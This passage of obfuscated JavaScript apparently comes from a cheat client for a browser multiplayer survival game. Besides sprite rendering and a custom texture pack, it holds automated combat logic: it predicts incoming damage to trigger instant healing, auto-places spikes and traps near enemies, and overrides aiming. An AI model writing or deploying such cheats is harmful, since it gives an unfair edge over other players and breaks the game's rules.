  2385. if (yK.zIndex == cA) {
  2386. yK.animate(yZ);
  2387. if (yK.visible) {
  2388. yK.skinRot += 0.002 * yZ;
  2389. let cb = document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0 ? !![] : ![];
  2390. let cu = document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 1 ? !![] : ![];
  2391. yR = (yK == yI && cu == !![] ? Jj() : yK == yI && cb == ![] ? Math.atan2(yj - yS / 2, yB - yv / 2) : yK.dir) + yK.dirPlus;
  2392. VL.save();
  2393. VL.translate(yK.x - cS, yK.y - cf);
  2394. VL.rotate(yR);
  2395. if (yK == yI) {
  2396. let cx = yI.weapons[1] == 10 ? 10 : yI.weapons[0];
  2397. if (cu == !![] && (cx == 10 ? yI.secondary.reload == 1 : yI.primary.reload == 1) && (TD == !![] || J6.status == !![]) && J8 == !![] && !document.getElementById("autogrind").checked) {} else {
  2398. T4(yK, VL);
  2399. }
  2400. } else {
  2401. T4(yK, VL);
  2402. }
  2403. VL.restore();
  2404. }
  2405. }
  2406. }
  2407. }
  2408. var T0 = {7: "https://i.imgur.com/vAOzlyY.png", 15: "https://i.imgur.com/YRQ8Ybq.png", 11: "https://i.imgur.com/yfqME8H.png", 12: "https://i.imgur.com/VSUId2s.png", 40: "https://i.imgur.com/Xzmg27N.png", 26: "https://i.imgur.com/I0xGtyZ.png", 6: "https://i.imgur.com/vM9Ri8g.png"};
  2409. var T1 = {18: "https://i.imgur.com/0rmN7L9.png", 21: "https://i.imgur.com/4ddZert.png"};
  2410. var T2 = {samurai_1: "https://i.imgur.com/mbDE77n.png", samurai_1_g: "https://cdn.discordapp.com/attachments/967213871267971072/1030852038948552724/image.png"};
  2411. function T3(cS, cf) {
  2412. if (document.getElementById("textpack").checked) {
  2413. if (T0[cS] && cf == "hat") {
  2414. return T0[cS];
  2415. } else if (T1[cS] && cf == "acc") {
  2416. return T1[cS];
  2417. } else if (T2[cS] && cf == "weapons") {
  2418. return T2[cS];
  2419. } else {
  2420. if (cf == "acc") {
  2421. return ".././img/accessories/access_" + cS + ".png";
  2422. } else if (cf == "hat") {
  2423. return ".././img/hats/hat_" + cS + ".png";
  2424. } else {
  2425. return ".././img/weapons/" + cS + ".png";
  2426. }
  2427. }
  2428. } else {
  2429. if (cf == "acc") {
  2430. return ".././img/accessories/access_" + cS + ".png";
  2431. } else if (cf == "hat") {
  2432. return ".././img/hats/hat_" + cS + ".png";
  2433. } else {
  2434. return ".././img/weapons/" + cS + ".png";
  2435. }
  2436. }
  2437. }
  2438. function T4(cS, cf) {
  2439. (cf = cf || VL).lineWidth = 5.5, cf.lineJoin = "miter";
  2440. var cA = Math.PI / 4 * (y9.weapons[cS.weaponIndex].armS || 1), cY = cS.buildIndex < 0 && y9.weapons[cS.weaponIndex].hndS || 1, cb = cS.buildIndex < 0 && y9.weapons[cS.weaponIndex].hndD || 1;
  2441. if (cS.tailIndex > 0 && function (cx, cQ, ck) {
  2442. if (!(T5 = T8[cx + (document.getElementById("textpack").checked ? "lol" : 0)])) {
  2443. var cl = new Image;
  2444. cl.onload = function () {
  2445. this.isLoaded = !0, this.onload = null;
  2446. }, cl.src = T3(cx, "acc"), T8[cx + (document.getElementById("textpack").checked ? "lol" : 0)] = cl, T5 = cl;
  2447. }
  2448. var ca = T9[cx];
  2449. if (!ca) {
  2450. for (var co = 0; co < Vl.length; ++co) if (Vl[co].id == cx) {
  2451. ca = Vl[co];
  2452. break;
  2453. }
  2454. T9[cx] = ca;
  2455. }
  2456. T5.isLoaded && (cQ.save(), cQ.translate(-20 - (ca.xOff || 0), 0), ca.spin && cQ.rotate(ck.skinRot), cQ.drawImage(T5, -ca.scale / 2, -ca.scale / 2, ca.scale, ca.scale), cQ.restore());
  2457. }(cS.tailIndex, cf, cS), cS.buildIndex < 0 && !y9.weapons[cS.weaponIndex].aboveHand && (TV(y9.weapons[cS.weaponIndex], y7.weaponVariants[cS.weaponVariant].src, cS.scale, 0, cf), null == y9.weapons[cS.weaponIndex].projectile || y9.weapons[cS.weaponIndex].hideProjectile || Jl(cS.scale, 0, y9.projectiles[y9.weapons[cS.weaponIndex].projectile], VL)), cf.fillStyle = y7.skinColors[cS.skinColor], TL(cS.scale * Math.cos(cA), cS.scale * Math.sin(cA), 14), TL(cS.scale * cb * Math.cos(-cA * cY), cS.scale * cb * Math.sin(-cA * cY), 14), cS.buildIndex < 0 && y9.weapons[cS.weaponIndex].aboveHand && (TV(y9.weapons[cS.weaponIndex], y7.weaponVariants[cS.weaponVariant].src, cS.scale, 0, cf), null == y9.weapons[cS.weaponIndex].projectile || y9.weapons[cS.weaponIndex].hideProjectile || Jl(cS.scale, 0, y9.projectiles[y9.weapons[cS.weaponIndex].projectile], VL)), cS.buildIndex >= 0) {
  2458. var cu = Tc(y9.list[cS.buildIndex]);
  2459. cf.drawImage(cu, cS.scale - y9.list[cS.buildIndex].holdOffset, -cu.width / 2);
  2460. }
  2461. TL(0, 0, cS.scale, cf), cS.skinIndex > 0 && (cf.rotate(Math.PI / 2), function cx(cQ, ck, cl, ca) {
  2462. if (!(T5 = T6[cQ + (document.getElementById("textpack").checked ? "lol" : 0)])) {
  2463. var co = new Image;
  2464. co.onload = function () {
  2465. this.isLoaded = !0, this.onload = null;
  2466. }, co.src = T3(cQ, "hat"), T6[cQ + (document.getElementById("textpack").checked ? "lol" : 0)] = co, T5 = co;
  2467. }
  2468. var cD = cl || T7[cQ];
  2469. if (!cD) {
  2470. for (var cW = 0; cW < Vk.length; ++cW) if (Vk[cW].id == cQ) {
  2471. cD = Vk[cW];
  2472. break;
  2473. }
  2474. T7[cQ] = cD;
  2475. }
  2476. T5.isLoaded && ck.drawImage(T5, -cD.scale / 2, -cD.scale / 2, cD.scale, cD.scale), !cl && cD.topSprite && (ck.save(), ck.rotate(ca.skinRot), cx(cQ + "_top", ck, cD, ca), ck.restore());
  2477. }(cS.skinIndex, cf, null, cS));
  2478. }
  2479. var T5, T6 = {}, T7 = {}, T8 = {}, T9 = {}, Ty = {};
  2480. function TV(cS, cf, cA, cY, cb) {
  2481. var cu = cS.src + (cf || ""), cx = Ty[cu + (document.getElementById("textpack").checked ? "lol" : 0)];
  2482. cx || ((cx = new Image).onload = function () {
  2483. this.isLoaded = !0;
  2484. }, cx.src = T3(cu, "weapons"), Ty[cu + (document.getElementById("textpack").checked ? "lol" : 0)] = cx), cx.isLoaded && cb.drawImage(cx, cA + cS.xOff - cS.length / 2, cY + cS.yOff - cS.width / 2, cS.length, cS.width);
  2485. }
  2486. var Td = {};
  2487. function TJ(cS) {
  2488. var cf = cS.y >= y7.mapScale - y7.snowBiomeTop ? 2 : cS.y <= y7.snowBiomeTop ? 1 : 0, cA = cS.type + "_" + cS.scale + "_" + cf, cY = Td[cA];
  2489. if (!cY) {
  2490. var cb = document.createElement("canvas");
  2491. cb.width = cb.height = 2.1 * cS.scale + 5.5;
  2492. var cu = cb.getContext("2d");
  2493. if (cu.translate(cb.width / 2, cb.height / 2), cu.rotate(y5.randFloat(0, Math.PI)), cu.strokeStyle = Vo, cu.lineWidth = 5.5, 0 == cS.type) for (var cx, cQ = 0; cQ < 2; ++cQ) Ts(cu, 7, cx = yK.scale * (cQ ? 0.5 : 1), 0.7 * cx), cu.fillStyle = cf ? cQ ? "#fff" : "#e3f1f4" : cQ ? "#b4db62" : "#9ebf57", cu.fill(), cQ || cu.stroke(); else if (1 == cS.type) if (2 == cf) cu.fillStyle = "#606060", Ts(cu, 6, 0.3 * cS.scale, 0.71 * cS.scale), cu.fill(), cu.stroke(), cu.fillStyle = "#89a54c", TL(0, 0, 0.55 * cS.scale, cu), cu.fillStyle = "#a5c65b", TL(0, 0, 0.3 * cS.scale, cu, !0); else {
  2494. var ck;
  2495. !function (ca, co, cD, cW) {
  2496. var cm, cB = Math.PI / 2 * 3, cj = Math.PI / 6;
  2497. ca.beginPath(), ca.moveTo(0, -cW);
  2498. for (var cC = 0; cC < 6; cC++) cm = y5.randInt(cD + 0.9, 1.2 * cD), ca.quadraticCurveTo(Math.cos(cB + cj) * cm, Math.sin(cB + cj) * cm, Math.cos(cB + 2 * cj) * cW, Math.sin(cB + 2 * cj) * cW), cB += 2 * cj;
  2499. ca.lineTo(0, -cW), ca.closePath();
  2500. }(cu, 0, yK.scale, 0.7 * yK.scale), cu.fillStyle = cf ? "#e3f1f4" : "#89a54c", cu.fill(), cu.stroke(), cu.fillStyle = cf ? "#6a64af" : "#c15555";
  2501. var cl = yH / 4;
  2502. for (cQ = 0; cQ < 4; ++cQ) TL((ck = y5.randInt(yK.scale / 3.5, yK.scale / 2.3)) * Math.cos(cl * cQ), ck * Math.sin(cl * cQ), y5.randInt(10, 12), cu);
  2503. } else 2 != cS.type && 3 != cS.type || (cu.fillStyle = 2 == cS.type ? 2 == cf ? "#938d77" : "#939393" : "#e0c655", Ts(cu, 3, cS.scale, cS.scale), cu.fill(), cu.stroke(), cu.fillStyle = 2 == cS.type ? 2 == cf ? "#b2ab90" : "#bcbcbc" : "#ebdca3", Ts(cu, 3, 0.55 * cS.scale, 0.65 * cS.scale), cu.fill());
  2504. cY = cb, Td[cA] = cY;
  2505. }
  2506. return cY;
  2507. }
  2508. var TT = [];
  2509. function Tc(cS, cf) {
  2510. var cA = TT[cS.id + (yI && cS.owner && cS.owner.sid == yI.sid ? 0 : yI && yI.team && cS.owner && isAlly(cS.owner.sid) ? 25 : 50)];
  2511. if (!cA || cf) {
  2512. var cY = document.createElement("canvas");
  2513. cY.width = cY.height = 2.5 * cS.scale + 5.5 + (y9.list[cS.id].spritePadding || 0);
  2514. var cb = cY.getContext("2d");
  2515. if (cb.translate(cY.width / 2, cY.height / 2), cb.rotate(cf ? 0 : Math.PI / 2), cb.strokeStyle = Vo, cb.lineWidth = 5.5 * (cf ? cY.width / 81 : 1), "apple" == cS.name) {
  2516. cb.fillStyle = "#c15555", TL(0, 0, cS.scale, cb), cb.fillStyle = "#89a54c";
  2517. var cu = -Math.PI / 2;
  2518. !function (cB, cj, cC, L0, L1) {
  2519. var L2 = cB + 25 * Math.cos(L0), L3 = cj + 25 * Math.sin(L0);
  2520. L1.moveTo(cB, cj), L1.beginPath(), L1.quadraticCurveTo((cB + L2) / 2 + 10 * Math.cos(L0 + Math.PI / 2), (cj + L3) / 2 + 10 * Math.sin(L0 + Math.PI / 2), L2, L3), L1.quadraticCurveTo((cB + L2) / 2 - 10 * Math.cos(L0 + Math.PI / 2), (cj + L3) / 2 - 10 * Math.sin(L0 + Math.PI / 2), cB, cj), L1.closePath(), L1.fill(), L1.stroke();
  2521. }(cS.scale * Math.cos(cu), cS.scale * Math.sin(cu), 0, cu + Math.PI / 2, cb);
  2522. } else if ("cookie" == cS.name) {
  2523. cb.fillStyle = "#cca861", TL(0, 0, cS.scale, cb), cb.fillStyle = "#937c4b";
  2524. for (var cx = yH / (ck = 4), cQ = 0; cQ < ck; ++cQ) TL((cl = y5.randInt(cS.scale / 2.5, cS.scale / 1.7)) * Math.cos(cx * cQ), cl * Math.sin(cx * cQ), y5.randInt(4, 5), cb, !0);
  2525. } else if ("cheese" == cS.name) {
  2526. var ck, cl;
  2527. for (cb.fillStyle = "#f4f3ac", TL(0, 0, cS.scale, cb), cb.fillStyle = "#c3c28b", cx = yH / (ck = 4), cQ = 0; cQ < ck; ++cQ) TL((cl = y5.randInt(cS.scale / 2.5, cS.scale / 1.7)) * Math.cos(cx * cQ), cl * Math.sin(cx * cQ), y5.randInt(4, 5), cb, !0);
  2528. } else if ("wood wall" == cS.name || "stone wall" == cS.name || "castle wall" == cS.name) {
  2529. cb.fillStyle = "castle wall" == cS.name ? "#83898e" : "wood wall" == cS.name ? "#a5974c" : "#939393";
  2530. var ca = "castle wall" == cS.name ? 4 : 3;
  2531. Ts(cb, ca, 1.1 * cS.scale, 1.1 * cS.scale), cb.fill(), cb.stroke(), cb.fillStyle = "castle wall" == cS.name ? "#9da4aa" : "wood wall" == cS.name ? "#c9b758" : "#bcbcbc", Ts(cb, ca, 0.65 * cS.scale, 0.65 * cS.scale), cb.fill();
  2532. } else if ("spikes" == cS.name || "greater spikes" == cS.name || "poison spikes" == cS.name || "spinning spikes" == cS.name) {
  2533. cb.fillStyle = "poison spikes" == cS.name ? "#7b935d" : "#939393";
  2534. var co = 0.6 * cS.scale;
  2535. Ts(cb, "spikes" == cS.name ? 5 : 6, cS.scale, co), cb.fill(), cb.stroke(), cb.fillStyle = "#a5974c", TL(0, 0, co, cb), cb.fillStyle = "#c9b758", TL(0, 0, co / 2, cb, !0);
  2536. } else if ("windmill" == cS.name || "faster windmill" == cS.name || "power mill" == cS.name) cb.fillStyle = "#a5974c", TL(0, 0, cS.scale, cb), cb.fillStyle = "#c9b758", TU(0, 0, 1.5 * cS.scale, 29, 4, cb), cb.fillStyle = "#a5974c", TL(0, 0, 0.5 * cS.scale, cb); else if ("mine" == cS.name) cb.fillStyle = "#939393", Ts(cb, 3, cS.scale, cS.scale), cb.fill(), cb.stroke(), cb.fillStyle = "#bcbcbc", Ts(cb, 3, 0.55 * cS.scale, 0.65 * cS.scale), cb.fill(); else if ("sapling" == cS.name) for (cQ = 0; cQ < 2; ++cQ) Ts(cb, 7, co = cS.scale * (cQ ? 0.5 : 1), 0.7 * co), cb.fillStyle = cQ ? "#b4db62" : "#9ebf57", cb.fill(), cQ || cb.stroke(); else if ("pit trap" == cS.name) cb.fillStyle = "#a5974c", Ts(cb, 3, 1.1 * cS.scale, 1.1 * cS.scale), cb.fill(), cb.stroke(), cb.fillStyle = Vo, Ts(cb, 3, 0.65 * cS.scale, 0.65 * cS.scale), cb.fill(); else if ("boost pad" == cS.name) cb.fillStyle = "#7e7f82", Tp(0, 0, 2 * cS.scale, 2 * cS.scale, cb), cb.fill(), cb.stroke(), cb.fillStyle = "#dbd97d", function (cB, cj) {
  2537. cj = cj || VL;
  2538. var cC = cB * (Math.sqrt(3) / 2);
  2539. cj.beginPath(), cj.moveTo(0, -cC / 2), cj.lineTo(-cB / 2, cC / 2), cj.lineTo(cB / 2, cC / 2), cj.lineTo(0, -cC / 2), cj.fill(), cj.closePath();
  2540. }(1 * cS.scale, cb); else if ("turret" == cS.name) cb.fillStyle = "#a5974c", TL(0, 0, cS.scale, cb), cb.fill(), cb.stroke(), cb.fillStyle = "#939393", Tp(0, -25, 0.9 * cS.scale, 50, cb), TL(0, 0, 0.6 * cS.scale, cb), cb.fill(), cb.stroke(); else if ("platform" == cS.name) {
  2541. cb.fillStyle = "#cebd5f";
  2542. var cD = 2 * cS.scale, cW = cD / 4, cm = -cS.scale / 2;
  2543. for (cQ = 0; cQ < 4; ++cQ) Tp(cm - cW / 2, 0, cW, 2 * cS.scale, cb), cb.fill(), cb.stroke(), cm += cD / 4;
  2544. } else "healing pad" == cS.name ? (cb.fillStyle = "#7e7f82", Tp(0, 0, 2 * cS.scale, 2 * cS.scale, cb), cb.fill(), cb.stroke(), cb.fillStyle = "#db6e6e", TU(0, 0, 0.65 * cS.scale, 20, 4, cb, !0)) : "spawn pad" == cS.name ? (cb.fillStyle = "#7e7f82", Tp(0, 0, 2 * cS.scale, 2 * cS.scale, cb), cb.fill(), cb.stroke(), cb.fillStyle = "#71aad6", TL(0, 0, 0.6 * cS.scale, cb)) : "blocker" == cS.name ? (cb.fillStyle = "#7e7f82", TL(0, 0, cS.scale, cb), cb.fill(), cb.stroke(), cb.rotate(Math.PI / 4), cb.fillStyle = "#db6e6e", TU(0, 0, 0.65 * cS.scale, 20, 4, cb, !0)) : "teleporter" == cS.name && (cb.fillStyle = "#7e7f82", TL(0, 0, cS.scale, cb), cb.fill(), cb.stroke(), cb.rotate(Math.PI / 4), cb.fillStyle = "#d76edb", TL(0, 0, 0.5 * cS.scale, cb, !0));
  2545. if (!cf) {
  2546. cb.globalAlpha = 0.6;
  2547. cb.fillStyle = yI && cS.owner && cS.owner.sid == yI.sid ? "" : cS.owner && yI && yI.team && isAlly(cS.owner.sid) ? "" : "#780c0c";
  2548. if (yI && cS.owner && cS.owner.sid == yI.sid) {} else if (cS.owner && yI && yI.team && isAlly(cS.owner.sid)) {} else {
  2549. if (cS.name.includes("spike") || cS.name.includes("pit trap")) {
  2550. if (cS.name.includes("spike")) {
  2551. cb.globalAlpha = 0.6;
  2552. } else {
  2553. cb.globalAlpha = 1;
  2554. }
  2555. cb.fill();
  2556. }
  2557. }
  2558. }
  2559. cA = cY;
  2560. if (!cf) {
  2561. TT[cS.id + (yI && cS.owner && cS.owner.sid == yI.sid ? 0 : yI && yI.team && cS.owner && isAlly(cS.owner.sid) ? 25 : 50)] = cA;
  2562. }
  2563. }
  2564. return cA;
  2565. }
  2566. function TL(cS, cf, cA, cY, cb, cu) {
  2567. (cY = cY || VL).beginPath(), cY.arc(cS, cf, cA, 0, 2 * Math.PI), cu || cY.fill(), cb || cY.stroke();
  2568. }
  2569. function Ts(cS, cf, cA, cY, cb) {
  2570. var cu, cx, cQ = Math.PI / 2 * 3, ck = Math.PI / cf;
  2571. cS.beginPath(), cS.moveTo(0, -cA);
  2572. if (cb) cS.rotate(Math.PI / 2);
  2573. for (var cl = 0; cl < cf; cl++) cu = Math.cos(cQ) * cA, cx = Math.sin(cQ) * cA, cS.lineTo(cu, cx), cQ += ck, cu = Math.cos(cQ) * cY, cx = Math.sin(cQ) * cY, cS.lineTo(cu, cx), cQ += ck;
  2574. cS.lineTo(0, -cA), cS.closePath();
  2575. }
  2576. function Tp(cS, cf, cA, cY, cb, cu) {
  2577. cb.fillRect(cS - cA / 2, cf - cY / 2, cA, cY), cu || cb.strokeRect(cS - cA / 2, cf - cY / 2, cA, cY);
  2578. }
  2579. function TU(cS, cf, cA, cY, cb, cu, cx) {
  2580. cu.save(), cu.translate(cS, cf), cb = Math.ceil(cb / 2);
  2581. for (var cQ = 0; cQ < cb; cQ++) Tp(0, 0, 2 * cA, cY, cu, cx), cu.rotate(Math.PI / cb);
  2582. cu.restore();
  2583. }
  2584. function TG(cS, cf, cA) {
  2585. if (cS == 15 && Math.hypot(cA - yI.y2, cf - yI.x2) <= 80) {
  2586. let cY = Math.atan2(cA - yI.y2, cf - yI.x2) + c1(180);
  2587. TR(yI.items[2], Math.hypot(cf - yI.x, cA - cA));
  2588. for (let cb = cY; cb < Math.PI * 2 + cY; cb += Math.PI / 12 + cY) {
  2589. TR(yI.items[4], cb);
  2590. }
  2591. for (let cu = cY; cu < Math.PI * 2 + cY; cu += Math.PI / 12 + cY) {
  2592. TR(yI.items[3], -cu);
  2593. }
  2594. }
  2595. }
  2596. function Tq(cS) {
  2597. for (var cf = 0; cf < cS.length;) {
  2598. if (cS[cf + 7] && cS[cf + 7] != yI.sid && !isAlly(cS[cf + 7])) {
  2599. TG(cS[cf + 6], cS[cf + 1], cS[cf + 2]);
  2600. }
  2601. Va.add(cS[cf], cS[cf + 1], cS[cf + 2], cS[cf + 3], cS[cf + 4], cS[cf + 5], y9.list[cS[cf + 6]], !0, cS[cf + 7] >= 0 ? {sid: cS[cf + 7]} : null);
  2602. cf += 8;
  2603. }
  2604. }
  2605. function TP(cS, cf) {
  2606. let cA;
  2607. (cA = cZ(cf)) && (cA.xWiggle += y7.gatherWiggle * Math.cos(cS), cA.yWiggle += y7.gatherWiggle * Math.sin(cS), Jm().then(function (cY) {
  2608. cA.currentHealth -= cY;
  2609. if (cA.currentHealth < 0) {
  2610. Jv(cA.sid);
  2611. }
  2612. }).catch(function (cY) {
  2613. JD = [];
  2614. }));
  2615. }
  2616. function Tg(cS, cf) {
  2617. (yK = cZ(cS)) && (yK.dir = cf, yK.xWiggle += y7.gatherWiggle * Math.cos(cf + Math.PI), yK.yWiggle += y7.gatherWiggle * Math.sin(cf + Math.PI));
  2618. }
  2619. var TH = ![], TN = [];
  2620. function Th(cS, cf) {
  2621. if (yI.sid != cS && !isAlly(cS)) {
  2622. let cA = cX(cS);
  2623. if (typeof TN[cS] == "object") {
  2624. TN[cS].push(cf);
  2625. } else {
  2626. TN[cS] = [cf];
  2627. }
  2628. if (ch(cA, yI) < 260 && (cA.primary.id == 4 || cA.primary.id == 5) && cA.primary.variant > 1 && cA.primary.reload == 1) {
  2629. TH = !![];
  2630. setTimeout(() => {
  2631. TH = ![];
  2632. }, 400);
  2633. }
  2634. let cY = 0;
  2635. for (let cb = 0; cb < TN[cS].length; cb++) {
  2636. cY += TN[cS][cb];
  2637. }
  2638. if (yI.health - cY <= 0 && yI.shameCount < 5) {
  2639. console.log("do bullet healing");
  2640. }
  2641. setTimeout(() => {
  2642. TN[cS].shift();
  2643. }, 500);
  2644. }
  2645. }
  2646. function TX(cS, cf, cA, cY, cb, cu, cx, cQ) {
  2647. Vj && (yl.addProjectile(cS, cf, cA, cY, cb, cu, null, null, cx).sid = cQ, function (ck, cl, ca, co, cD) {
  2648. let cW = Infinity, cm = {};
  2649. for (let cB = 0; cB < yu.length; cB++) (yK = yu[cB]) && yK.visible && yK.secondary.id && void 0 !== y9.weapons[yK.secondary.id].projectile && y9.projectiles[y9.weapons[yK.secondary.id].projectile].speed == cD && cW > (1.5 * yK.x2 - yK.x1 / 2 - ck + 80 * Math.cos(ca)) ** 2 + (1.5 * yK.y2 - yK.y1 / 2 - cl + 80 * Math.sin(ca)) ** 2 && (cm = yK, cW = (1.5 * yK.x2 - yK.x1 / 2 - ck + 80 * Math.cos(ca)) ** 2 + (1.5 * yK.y2 - yK.y1 / 2 - cl + 80 * Math.sin(ca)) ** 2);
  2650. if (Math.sqrt(cW) > 60) {
  2651. if (1.5 == cD) {
  2652. for (let cj = 0; cj < yu.length; cj++) (yK = yu[cj]) && yK.visible && cW > (1.5 * yK.x2 - yK.x1 / 2 - ck + 10 * Math.cos(ca)) ** 2 + (1.5 * yK.y2 - yK.y1 / 2 - cl + 10 * Math.sin(ca)) ** 2 && (cm = yK, cW = (1.5 * yK.x2 - yK.x1 / 2 - ck + 10 * Math.cos(ca)) ** 2 + (1.5 * yK.y2 - yK.y1 / 2 - cl + 10 * Math.sin(ca)) ** 2);
  2653. 60 > Math.sqrt(cW) && (Th(cm.sid, 25), cm.turret = -0.0444);
  2654. } else 20 == cm.skinIndex && (cm.secondary.fastReload = !![]), Th(cm.sid, cm.secondary.dmg), setTimeout(() => {
  2655. cm.secondary.reload = -111 / y9.weapons[cm.secondary.id].speed;
  2656. });
  2657. } else 20 == cm.skinIndex && (cm.secondary.fastReload = !![]), Th(cm.sid, 50), cm.secondary.reload = -111 / y9.weapons[15].speed;
  2658. }(cS, cf, cA, cY, cb));
  2659. }
  2660. function TF(cS, cf) {
  2661. for (var cA = 0; cA < yk.length; ++cA) yk[cA].sid == cS && (yk[cA].range = cf);
  2662. }
  2663. function TZ(cS) {
  2664. (yK = cF(cS)) && yK.startAnim();
  2665. }
  2666. function Tz(cS) {
  2667. for (var cf = 0; cf < yb.length; ++cf) yb[cf].forcePos = !yb[cf].visible, yb[cf].visible = !1;
  2668. if (cS) {
  2669. var cA = Date.now();
  2670. for (cf = 0; cf < cS.length;) (yK = cF(cS[cf])) ? (yK.index = cS[cf + 1], yK.t1 = void 0 === yK.t2 ? cA : yK.t2, yK.t2 = cA, yK.x1 = yK.x, yK.y1 = yK.y, yK.x2 = cS[cf + 2], yK.y2 = cS[cf + 3], yK.d1 = void 0 === yK.d2 ? cS[cf + 4] : yK.d2, yK.d2 = cS[cf + 4], yK.health = cS[cf + 5], yK.dt = 0, yK.visible = !0) : ((yK = yD.spawn(cS[cf + 2], cS[cf + 3], cS[cf + 4], cS[cf + 1])).x2 = yK.x, yK.y2 = yK.y, yK.d2 = yK.dir, yK.health = cS[cf + 5], yD.aiTypes[cS[cf + 1]].name || (yK.name = y7.cowNames[cS[cf + 6]]), yK.forcePos = !0, yK.sid = cS[cf], yK.visible = !0), cf += 7;
  2671. }
  2672. }
  2673. var TO = {};
  2674. function TE(cS, cf) {
  2675. var cA = cS.index, cY = TO[cA];
  2676. if (!cY) {
  2677. var cb = new Image;
  2678. cb.onload = function () {
  2679. this.isLoaded = !0, this.onload = null;
  2680. }, cb.src = ".././img/animals/" + cS.src + ".png", cY = cb, TO[cA] = cY;
  2681. }
  2682. if (cY.isLoaded) {
  2683. var cu = 1.2 * cS.scale * (cS.spriteMlt || 1);
  2684. cf.drawImage(cY, -cu, -cu, 2 * cu, 2 * cu);
  2685. }
  2686. }
  2687. function TI(cS, cf, cA) {
  2688. return cS + cA >= 0 && cS - cA <= V2 && cf + cA >= 0 && cf - cA <= V3;
  2689. }
  2690. function TM(cS, cf) {
  2691. var cA = function (cY) {
  2692. for (var cb = 0; cb < yu.length; ++cb) if (yu[cb].id == cY) return yu[cb];
  2693. return null;
  2694. }(cS[0]);
  2695. cA || (cA = new yV(cS[0], cS[1], y7, y5, yl, Va, yu, yb, y9, Vk, Vl), yu.push(cA)), cA.spawn(cf ? yf : null), cA.visible = !1, cA.x2 = void 0, cA.y2 = void 0, cA.setData(cS), cf && (yr = (yI = cA).x, yw = yI.y, dk(), JS(), Ju(), Jb(0), VN.style.display = "block");
  2696. }
  2697. function TK(cS) {
  2698. for (var cf = 0; cf < yu.length; cf++) if (yu[cf].id == cS) {
  2699. yu.splice(cf, 1);
  2700. break;
  2701. }
  2702. }
  2703. function Tr(cS, cf) {
  2704. if (yI) {
  2705. yI.itemCounts[cS] = cf;
  2706. }
  2707. }
  2708. function Tw(cS, cf, cA) {
  2709. yI && (yI[cS] = cf, cA && JS());
  2710. }
  2711. function TR(cS, cf = Math.atan2(yj - yS / 2, yB - yv / 2)) {
  2712. JE(cS);
  2713. y4.send("c", 1, cf);
  2714. y4.send("c", 0, cf);
  2715. JE(dY.status == !![] ? yI.weapons[1] : dA.status == !![] ? yI.weapons[0] : yI.weaponIndex, !![]);
  2716. }
  2717. function Tv() {
  2718. for (let cS = 0; cS < 4; cS++) {
  2719. TR(yI.items[0]);
  2720. }
  2721. }
  2722. window.secondaryDmg = function (cS) {
  2723. if (cS == 15) {
  2724. return 50;
  2725. } else if (cS == 9) {
  2726. return 25;
  2727. } else if (cS == 12) {
  2728. return 35;
  2729. } else if (cS == 13) {
  2730. return 30;
  2731. } else {
  2732. return 0;
  2733. }
  2734. };
  2735. window.variantMulti = function (cS) {
  2736. if (cS == 1) {
  2737. return 1.1;
  2738. } else if (cS == 2 || cS == 3) {
  2739. return 1.18;
  2740. } else {
  2741. return 1;
  2742. }
  2743. };
  2744. var TS = [];
  2745. var Tf = 0;
  2746. function TA(cS) {
  2747. if (yI.skinIndex == 6) {
  2748. if (cS == 75) {
  2749. return 57;
  2750. } else {
  2751. return Math.round(cS * 0.75);
  2752. }
  2753. } else {
  2754. return Math.round(cS);
  2755. }
  2756. }
  2757. function TY(cS, cf) {
  2758. if (cS.length > 1) return "sync";
  2759. for (let cA = 0; cA < cS.length; cA++) {
  2760. let cY = cX(cS[cA]);
  2761. if (cf == TA(cY.primary.dmg * 1.5)) {
  2762. return [TA(cY.primary.dmg * 1.5), !![]];
  2763. } else if (cf == TA(cY.primary.dmg)) {
  2764. return [TA(cY.primary.dmg), !![]];
  2765. } else if (cf == TA(cY.primary.dmg * 1.2)) {
  2766. return [TA(cY.primary.dmg * 1.2), !![]];
  2767. }
  2768. if (cf == TA(cY.secondary.dmg)) {
  2769. console.log("secondary damage");
  2770. return [TA(cY.secondary.dmg), ![]];
  2771. } else if (cf == TA(cY.secondary.dmg + 25)) {
  2772. console.log("secondary + turret damage");
  2773. return [TA(cY.secondary.dmg + 25), ![]];
  2774. } else if (cf == TA(cY.secondary.dmg * 1.5)) {
  2775. console.log("secondary damage x1.5");
  2776. return [TA(cY.secondary.dmg * 1.5), ![]];
  2777. } else if (cf == TA(25)) {
  2778. console.log("turret damage");
  2779. return [TA(25), ![]];
  2780. }
  2781. }
  2782. return "unknown";
  2783. }
  2784. function Tb() {
  2785. let cS = [], cf = 0;
  2786. for (let cA = 0; cA < TS.length; cA++) {
  2787. let cY = TS[cA];
  2788. let cb = 0;
  2789. if (cY.primary.reload > 0.7) {
  2790. cb += Math.round(cY.primary.dmg * 1.5);
  2791. }
  2792. if (cY.secondary.reload > 0.7) {
  2793. cb += cY.secondary.dmg;
  2794. }
  2795. if (cY.turret > 0.7) {
  2796. cb += 25;
  2797. }
  2798. cf += cb;
  2799. cS.push(cY.sid);
  2800. }
  2801. return [cS, cf];
  2802. }
  2803. function Tu(cS) {
  2804. if (TB.length) {
  2805. if ((yI.health == 43 || yI.health == 25) && yI.shameCount < 5) {
  2806. console.log("reverse");
  2807. Tv();
  2808. } else if ((cS == 10 || cS == 11 || cS == 12) && dS == ![]) {
  2809. dv = !![];
  2810. db(6);
  2811. setTimeout(() => {
  2812. Tv();
  2813. dv = ![];
  2814. }, 222);
  2815. } else {
  2816. setTimeout(() => {
  2817. Tv();
  2818. }, 100);
  2819. }
  2820. } else {
  2821. setTimeout(() => {
  2822. Tv();
  2823. }, 100);
  2824. }
  2825. }
  2826. var Tx = [], TQ = ![];
  2827. function Tk(cS) {
  2828. let cf = Tb();
  2829. if (cf[1] >= 100) {
  2830. let cA = TY(cf[0], cS);
  2831. if (cA == "sync" || cA == "unknown") {
  2832. if (yI.shameCount < 5 && cS >= 10) {
  2833. Tv();
  2834. } else {
  2835. setTimeout(() => {
  2836. Tv();
  2837. }, 100);
  2838. }
  2839. } else {
  2840. let cY = yI.health - cS;
  2841. let cb = cf[1] - cA[0];
  2842. if (cA[1] && cY - cb + 25 > 1 && dv == ![] && TH == ![] && TQ == ![]) {
  2843. dS = !![];
  2844. db(22);
  2845. setTimeout(() => {
  2846. Tv();
  2847. dS = ![];
  2848. }, 222);
  2849. } else if (cY - Math.round(cb * 0.75) > 1) {
  2850. dv = !![];
  2851. db(6);
  2852. setTimeout(() => {
